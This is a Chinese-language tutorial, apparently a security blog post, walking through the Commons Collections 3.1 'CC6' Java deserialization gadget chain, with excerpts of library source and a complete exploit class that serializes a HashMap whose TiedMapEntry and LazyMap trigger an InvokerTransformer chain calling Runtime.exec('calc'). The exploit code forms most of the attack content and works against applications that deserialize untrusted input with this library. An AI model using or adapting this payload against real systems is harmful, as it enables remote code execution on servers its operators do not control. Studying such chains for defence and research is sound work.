Java反序列化-CC6
# 环境配置
环境配置
- jdk 1.7、1.8均可触发
- maven依赖:commons-collections3.1
# 利用点
CC6和CC5利用方式差不多,都是先构造了恶意的
LazyMap
,然后再去寻找可以调用LazyMap#get
的地方,最终完成链式调用.
在org.apache.commons.collections.keyvalue.TiedMapEntry
这个类(CC5中也是利用了它)中的hashCode
方法中调用了getValue
:
/**
* Gets a hashCode compatible with the equals method.
* <p>
* Implemented per API documentation of {@link java.util.Map.Entry#hashCode()}
*
* @return a suitable hash code
*/
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
1
2
3
4
5
6
7
8
9
10
11
12
2
3
4
5
6
7
8
9
10
11
12
/**
* Gets the value of this entry direct from the map.
*
* @return the value
*/
public Object getValue() {
return map.get(key);
}
1
2
3
4
5
6
7
8
2
3
4
5
6
7
8
所以这里的利用点就是找到一个类在readObject
的时候调用了hashCode
方法,这样就可以触发TiedMapEntry#hashCode
方法,从而完成Transformer
的链式调用。
其实利用点就在CC1中所提到的hashMap中,它的readObject
方法触发了hashCode
:
跟进putForCreate
:
/**
* This method is used instead of put by constructors and
* pseudoconstructors (clone, readObject). It does not resize the table,
* check for comodification, etc. It calls createEntry rather than
* addEntry.
*/
private void putForCreate(K key, V value) {
int hash = null == key ? 0 : hash(key);
int i = indexFor(hash, table.length);
/**
* Look for preexisting entry for key. This will never happen for
* clone or deserialize. It will only happen for construction if the
* input Map is a sorted map whose ordering is inconsistent w/ equals.
*/
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash &&
((k = e.key) == key || (key != null && key.equals(k)))) {
e.value = value;
return;
}
}
createEntry(hash, key, value, i);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
调用了hash(key)
方法,再跟进hash
方法:
调用了key#hashCode
方法。然后我们再来看CC5中提到的TiedMapEntry
类的hashCode
方法:
这里又调用了getVaule
方法,再跟进,就调用了map.get
方法。其实利用的方法和CC5都大同小异,只不过是触发LazyMap#get
方法的入口函数变了一下,exp如下:
package ysoserial.MyExp.CCExp;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws Exception{
// Class<Runtime> runtimeClass = Runtime.class;
// Method getRuntime = runtimeClass.getMethod("getRuntime");
// Runtime runtime = (Runtime) getRuntime.invoke(null);
// runtime.exec("calc");
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{
"getRuntime",
null,
}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{
null,
null,
}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{
"calc",
}),
};
Transformer[] transformers1 = new Transformer[] {
new ConstantTransformer(2),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers1);
Map hashMap = new HashMap();
// 构造出恶意Map
Map evilMap = LazyMap.decorate(hashMap, chainedTransformer);
// 用恶意Map初始化TiedMapEntry类
TiedMapEntry tiedMapEntry = new TiedMapEntry(evilMap, "key");
// 将构造好的TiedMapEntry对象作为HashMap的一个key
HashMap hashMap1 = new HashMap();
// put的时候会触发Map:key的get方法,所以先构造一个无害的ChainedTransformer对象用来初始化,之后再用反射修改值
hashMap1.put(tiedMapEntry, "123");
// 注意这里
evilMap.remove("key");
// 用反射设置把恶意构造的Transformer
Field declaredFields = ChainedTransformer.class.getDeclaredField("iTransformers");
// 设置权限
declaredFields.setAccessible(true);
declaredFields.set(chainedTransformer, transformers);
// hashMap1就是构造好的待序列化的恶意Map
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashMap1);
objectOutputStream.close();
// 本地测试序列化
System.out.println(byteArrayOutputStream);
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
objectInputStream.readObject();
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
# 注意点
这个exp有一点需要注意:
这里注意要把构造的map中的key
给移除掉,原因是我们再调用上一行的put
方法的时候也会调用一次hash
方法,这样LazyMap#get
方法还会额外触发一次,因为我们构造的evilMap
中没有一个key为key
的元素,所以就会被添加进去,所以这里需要把它移除掉。